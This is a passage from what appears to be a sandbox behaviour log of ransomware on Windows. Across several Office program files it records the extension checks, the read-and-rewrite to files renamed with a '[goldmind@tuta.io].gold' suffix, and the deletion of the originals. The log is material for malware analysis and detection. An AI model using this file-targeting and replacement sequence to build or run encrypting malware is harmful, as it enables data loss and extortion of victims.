Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".doc") returned 4 [0109.902] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString=".docx") returned 5 [0109.902] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0109.902] lstrlenW (lpString=".pdf") returned 4 [0109.902] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString=".xls") returned 4 [0109.902] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString=".xlsx") returned 5 [0109.902] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0109.902] lstrlenW (lpString=".ppt") returned 4 [0109.902] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".zip") returned 4 [0109.902] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString=".rar") returned 4 [0109.902] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString=".bz2") returned 4 [0109.902] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.902] lstrlenW (lpString=".7z") returned 3 [0109.902] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".dbf") returned 4 [0109.902] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".1cd") returned 4 [0109.902] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".jpg") returned 4 [0109.902] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString=".doc") returned 4 [0109.902] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString=".docx") returned 5 [0109.903] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0109.903] lstrlenW (lpString=".pdf") returned 4 [0109.903] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString=".xls") returned 4 [0109.903] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString=".xlsx") returned 5 [0109.903] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0109.903] lstrlenW (lpString=".ppt") returned 4 [0109.903] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.903] lstrlenW (lpString=".zip") returned 4 [0109.903] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString=".rar") returned 4 [0109.903] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.903] lstrlenW (lpString=".bz2") returned 4 [0109.903] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.903] lstrlenW (lpString=".7z") returned 3 [0109.903] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.903] lstrlenW (lpString=".dbf") returned 4 [0109.903] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.903] lstrlenW (lpString=".1cd") returned 4 [0109.903] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.903] lstrlenW (lpString=".jpg") returned 4 [0109.903] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.903] lstrcmpiW (lpString1=".LNG", lpString2=".gold") returned 1 [0109.903] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0109.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.904] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=286848) returned 1 [0109.904] CloseHandle (hObject=0x230) returned 1 [0109.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0109.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.904] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.904] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0109.907] GetLastError () returned 0x0 [0109.907] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x46080, lpOverlapped=0x0) returned 1 [0109.914] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x46090, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x46090, lpOverlapped=0x0) returned 1 [0109.918] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.918] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.918] SetEndOfFile (hFile=0x398) returned 1 [0109.918] CloseHandle (hObject=0x398) returned 1 [0109.918] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.918] SetEndOfFile (hFile=0x230) returned 1 [0109.925] CloseHandle (hObject=0x230) returned 1 [0109.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 1 [0109.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.926] lstrlenW (lpString=".doc") returned 4 [0109.926] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0109.926] lstrlenW (lpString=".docx") returned 5 [0109.926] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0109.926] lstrlenW (lpString=".pdf") returned 4 [0109.926] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0109.926] lstrlenW (lpString=".xls") returned 4 [0109.926] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0109.926] lstrlenW (lpString=".xlsx") returned 5 [0109.926] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0109.926] lstrlenW (lpString=".ppt") returned 4 [0109.926] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0109.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.926] lstrlenW (lpString=".zip") returned 4 [0109.926] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0109.926] lstrlenW (lpString=".rar") returned 4 [0109.926] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0109.927] lstrlenW (lpString=".bz2") returned 4 [0109.927] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0109.927] lstrlenW (lpString=".7z") returned 3 [0109.927] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.927] lstrlenW (lpString=".dbf") returned 4 [0109.927] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.927] lstrlenW (lpString=".1cd") returned 4 [0109.927] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.927] lstrlenW (lpString=".jpg") returned 4 [0109.993] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString=".doc") returned 4 [0109.993] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0109.993] lstrlenW (lpString=".docx") returned 5 [0109.993] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0109.993] lstrlenW (lpString=".pdf") returned 4 [0109.993] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0109.993] lstrlenW (lpString=".xls") returned 4 [0109.993] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0109.993] lstrlenW (lpString=".xlsx") returned 5 [0109.993] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0109.993] lstrlenW (lpString=".ppt") returned 4 [0109.993] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString=".zip") returned 4 [0109.993] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0109.993] lstrlenW (lpString=".rar") returned 4 [0109.993] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0109.993] lstrlenW (lpString=".bz2") returned 4 [0109.993] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0109.993] lstrlenW (lpString=".7z") returned 3 [0109.993] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString=".dbf") returned 4 [0109.993] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString=".1cd") returned 4 [0109.993] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0109.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0109.993] lstrlenW (lpString=".jpg") returned 4 [0109.993] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0109.994] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.994] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0109.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.055] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=142776) returned 1 [0110.055] CloseHandle (hObject=0x3b4) returned 1 [0110.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll")) returned 0x20 [0110.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.097] lstrlenW (lpString=".doc") returned 4 [0110.097] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".docx") returned 5 [0110.098] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0110.098] lstrlenW (lpString=".pdf") returned 4 [0110.098] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".xls") returned 4 [0110.098] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".xlsx") returned 5 [0110.098] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0110.098] lstrlenW (lpString=".ppt") returned 4 [0110.098] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString=".zip") returned 4 [0110.098] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".rar") returned 4 [0110.098] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".bz2") returned 4 [0110.098] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.098] lstrlenW (lpString=".7z") returned 3 [0110.098] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString=".dbf") returned 4 [0110.098] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString=".1cd") returned 4 [0110.098] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString=".jpg") returned 4 [0110.098] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.098] lstrlenW (lpString=".doc") returned 4 [0110.098] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".docx") returned 5 [0110.098] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0110.098] lstrlenW (lpString=".pdf") returned 4 [0110.098] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".xls") returned 4 [0110.098] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.098] lstrlenW (lpString=".xlsx") returned 5 [0110.098] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0110.098] lstrlenW (lpString=".ppt") returned 4 [0110.099] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.099] lstrlenW (lpString=".zip") returned 4 [0110.099] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.099] lstrlenW (lpString=".rar") returned 4 [0110.099] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.099] lstrlenW (lpString=".bz2") returned 4 [0110.099] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.099] lstrlenW (lpString=".7z") returned 3 [0110.099] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.099] lstrlenW (lpString=".dbf") returned 4 [0110.099] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.099] lstrlenW (lpString=".1cd") returned 4 [0110.099] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0110.099] lstrlenW (lpString=".jpg") returned 4 [0110.099] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.099] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.099] lstrlenW (lpString="MSART11.BDR") returned 11 [0110.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0110.125] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=30920) returned 1 [0110.125] CloseHandle (hObject=0x364) returned 1 [0110.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0110.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.163] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.163] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0110.164] GetLastError () returned 0x0 [0110.164] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x78c8, lpOverlapped=0x0) returned 1 [0110.183] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x78d0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x78d0, lpOverlapped=0x0) returned 1 [0110.184] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.184] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.184] SetEndOfFile (hFile=0x230) returned 1 [0110.184] CloseHandle (hObject=0x230) returned 1 [0110.184] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.184] SetEndOfFile (hFile=0x3b0) returned 1 [0110.186] CloseHandle (hObject=0x3b0) returned 1 [0110.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 1 [0110.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.187] lstrlenW (lpString=".doc") returned 4 [0110.187] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.187] lstrlenW (lpString=".docx") returned 5 [0110.187] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0110.187] lstrlenW (lpString=".pdf") returned 4 [0110.187] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.187] lstrlenW (lpString=".xls") returned 4 [0110.187] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.187] lstrlenW (lpString=".xlsx") returned 5 [0110.187] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0110.187] lstrlenW (lpString=".ppt") returned 4 [0110.188] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".zip") returned 4 [0110.188] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".rar") returned 4 [0110.188] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".bz2") returned 4 [0110.188] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".7z") returned 3 [0110.188] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".dbf") returned 4 [0110.188] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".1cd") returned 4 [0110.188] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".jpg") returned 4 [0110.188] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".doc") returned 4 [0110.188] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".docx") returned 5 [0110.188] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0110.188] lstrlenW (lpString=".pdf") returned 4 [0110.188] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".xls") returned 4 [0110.188] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".xlsx") returned 5 [0110.188] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0110.188] lstrlenW (lpString=".ppt") returned 4 [0110.188] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".zip") returned 4 [0110.188] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".rar") returned 4 [0110.188] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".bz2") returned 4 [0110.188] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString=".7z") returned 3 [0110.188] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".dbf") returned 4 [0110.188] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".1cd") returned 4 [0110.188] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0110.188] lstrlenW (lpString=".jpg") returned 4 [0110.188] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.188] lstrcmpiW 